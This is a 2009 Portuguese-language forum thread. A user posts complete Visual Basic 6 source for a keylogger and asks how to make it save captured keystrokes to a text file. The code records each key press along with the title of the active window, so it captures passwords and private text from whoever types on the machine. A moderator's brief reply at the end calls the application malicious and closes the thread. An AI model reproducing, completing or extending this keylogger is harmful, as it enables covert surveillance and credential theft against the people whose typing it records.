KEYLOGGER - DUVIDA

FISH40 29/10/2009 20:15:14
#326541
Galera gostararia de saber como faço para que o meu keylogger salve o que é digitado no PC seja salvo no C:\arquivo de texto.txt
no Projeto tem:
1 TextBox.
1 Timer.
  Private Declare Function GetAsyncKeyState Lib [Ô]user32[Ô] (ByVal vKey As Long) As Integer
Private Declare Function GetKeyState Lib [Ô]user32[Ô] (ByVal nVirtKey As Long) As Integer
Private Declare Function GetForegroundWindow Lib [Ô]user32[Ô] () As Long
Private Declare Function GetWindowText Lib [Ô]user32[Ô] Alias [Ô]GetWindowTextA[Ô] (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Private Declare Function GetWindowTextLength Lib [Ô]user32[Ô] Alias [Ô]GetWindowTextLengthA[Ô] (ByVal hwnd As Long) As Long

Private LastWindow As String
Private LastHandle As Long
Private dKey(255) As Long
Private Const VK_SHIFT = &H10
Private Const VK_CTRL = &H11
Private Const VK_ALT = &H12
Private Const VK_CAPITAL = &H14
Private ChangeChr(255) As String
Private AltDown As Boolean

Private Sub Form_Load()
ChangeChr(33) = [Ô][PageUp][Ô]
ChangeChr(34) = [Ô][PageDown][Ô]
ChangeChr(35) = [Ô][End][Ô]
ChangeChr(36) = [Ô][Home][Ô]

ChangeChr(45) = [Ô][Insert][Ô]
ChangeChr(46) = [Ô][Delete][Ô]

ChangeChr(48) = [Ô])[Ô]
ChangeChr(49) = [Ô]![Ô]
ChangeChr(50) = [Ô]@[Ô]
ChangeChr(51) = [Ô]#[Ô]
ChangeChr(52) = [Ô]$[Ô]
ChangeChr(53) = [Ô]%[Ô]
ChangeChr(54) = [Ô]^[Ô]
ChangeChr(55) = [Ô]&[Ô]
ChangeChr(56) = [Ô]*[Ô]
ChangeChr(57) = [Ô]([Ô]

ChangeChr(186) = [Ô];[Ô]
ChangeChr(187) = [Ô]=[Ô]
ChangeChr(188) = [Ô],[Ô]
ChangeChr(189) = [Ô]-[Ô]
ChangeChr(190) = [Ô].[Ô]
ChangeChr(191) = [Ô]/[Ô]

ChangeChr(219) = [Ô][[Ô]
ChangeChr(220) = [Ô]\[Ô]
ChangeChr(221) = [Ô]][Ô]
ChangeChr(222) = [Ô][ô][Ô]


ChangeChr(86) = [Ô]:[Ô]
ChangeChr(87) = [Ô]+[Ô]
ChangeChr(88) = [Ô]<[Ô]
ChangeChr(89) = [Ô]_[Ô]
ChangeChr(90) = [Ô]>[Ô]
ChangeChr(91) = [Ô]?[Ô]

ChangeChr(119) = [Ô]{[Ô]
ChangeChr(120) = [Ô]|[Ô]
ChangeChr(121) = [Ô]}[Ô]
ChangeChr(122) = [Ô][Ô][Ô][Ô]


ChangeChr(96) = [Ô]0[Ô]
ChangeChr(97) = [Ô]1[Ô]
ChangeChr(98) = [Ô]2[Ô]
ChangeChr(99) = [Ô]3[Ô]
ChangeChr(100) = [Ô]4[Ô]
ChangeChr(101) = [Ô]5[Ô]
ChangeChr(102) = [Ô]6[Ô]
ChangeChr(103) = [Ô]7[Ô]
ChangeChr(104) = [Ô]8[Ô]
ChangeChr(105) = [Ô]9[Ô]
ChangeChr(106) = [Ô]*[Ô]
ChangeChr(107) = [Ô]+[Ô]
ChangeChr(109) = [Ô]-[Ô]
ChangeChr(110) = [Ô].[Ô]
ChangeChr(111) = [Ô]/[Ô]

ChangeChr(192) = [Ô]'[Ô]
ChangeChr(92) = [Ô]~[Ô]
End Sub

Function TypeWindow()
Dim Handle As Long
Dim textlen As Long
Dim WindowText As String

Handle = GetForegroundWindow
LastHandle = Handle
textlen = GetWindowTextLength(Handle) + 1

WindowText = Space(textlen)
svar = GetWindowText(Handle, WindowText, textlen)
WindowText = Left(WindowText, Len(WindowText) - 1)

If WindowText <> LastWindow Then
If Text1 <> [Ô][Ô] Then Text1 = Text1 & vbCrLf & vbCrLf
Text1 = Text1 & [Ô]==============================[Ô] & vbCrLf & WindowText & vbCrLf & [Ô]==============================[Ô] & vbCrLf
LastWindow = WindowText
End If
End Function


Private Sub Text1_Change()

End Sub

Private Sub Timer1_Timer()

[ô]when alt is up
If GetAsyncKeyState(VK_ALT) = 0 And AltDown = True Then
AltDown = False
Text1 = Text1 & [Ô][ALTUP][Ô]
End If

[ô]a-z A-Z
For i = Asc([Ô]A[Ô]) To Asc([Ô]Z[Ô])
If GetAsyncKeyState(i) = -32767 Then
TypeWindow

If GetAsyncKeyState(VK_SHIFT) < 0 Then
If GetKeyState(VK_CAPITAL) > 0 Then
Text1 = Text1 & LCase(Chr(i))
Exit Sub
Else
Text1 = Text1 & UCase(Chr(i))
Exit Sub
End If
Else
If GetKeyState(VK_CAPITAL) > 0 Then
Text1 = Text1 & UCase(Chr(i))
Exit Sub
Else
Text1 = Text1 & LCase(Chr(i))
Exit Sub
End If
End If

End If
Next

[ô]1234567890)(*&^%$#@!
For i = 48 To 57
If GetAsyncKeyState(i) = -32767 Then
TypeWindow

If GetAsyncKeyState(VK_SHIFT) < 0 Then
Text1 = Text1 & ChangeChr(i)
Exit Sub
Else
Text1 = Text1 & Chr(i)
Exit Sub
End If

End If
Next


[ô];=,-./
For i = 186 To 192
If GetAsyncKeyState(i) = -32767 Then
TypeWindow

If GetAsyncKeyState(VK_SHIFT) < 0 Then
Text1 = Text1 & ChangeChr(i - 100)
Exit Sub
Else
Text1 = Text1 & ChangeChr(i)
Exit Sub
End If

End If
Next


[ô][\][ô]
For i = 219 To 222
If GetAsyncKeyState(i) = -32767 Then
TypeWindow

If GetAsyncKeyState(VK_SHIFT) < 0 Then
Text1 = Text1 & ChangeChr(i - 100)
Exit Sub
Else
Text1 = Text1 & ChangeChr(i)
Exit Sub
End If

End If
Next

[ô]num pad
For i = 96 To 111
If GetAsyncKeyState(i) = -32767 Then
TypeWindow

If GetAsyncKeyState(VK_ALT) < 0 And AltDown = False Then
AltDown = True
Text1 = Text1 & [Ô][ALTDOWN][Ô]
Else
If GetAsyncKeyState(VK_ALT) >= 0 And AltDown = True Then
AltDown = False
Text1 = Text1 & [Ô][ALTUP][Ô]
End If
End If

Text1 = Text1 & ChangeChr(i)
Exit Sub
End If
Next
[ô]===========================================================
[ô]for space
If GetAsyncKeyState(32) = -32767 Then
TypeWindow
Text1 = Text1 & [Ô] [Ô]
End If

[ô]for enter
If GetAsyncKeyState(13) = -32767 Then
TypeWindow
Text1 = Text1 & [Ô][Enter][Ô]
End If
[ô]===========================================================
[ô]for backspace - DESATIVADO
If GetAsyncKeyState(8) = -32767 Then
TypeWindow
Text1 = Text1 & [Ô][BackSpace][Ô]
End If

End Sub


Como Faço Para Que Quando for digitado fique Salvando no bloco de notas no [Ô]C:\Arquivo de Texto.txt[Ô] ?

Obrigado!
FISH40 29/10/2009 20:23:11
#326542
Ele Jah Digita tudo Normal,Mais Só Faltar For Salvo no Bloco de Notas,Vlw!
TECLA 29/10/2009 20:35:37
#326545
Não se compartilha no fórum, informação sobre aplicação MALICIOSAS.
Este tópico será encerrado!
Tópico encerrado , respostas não são mais permitidas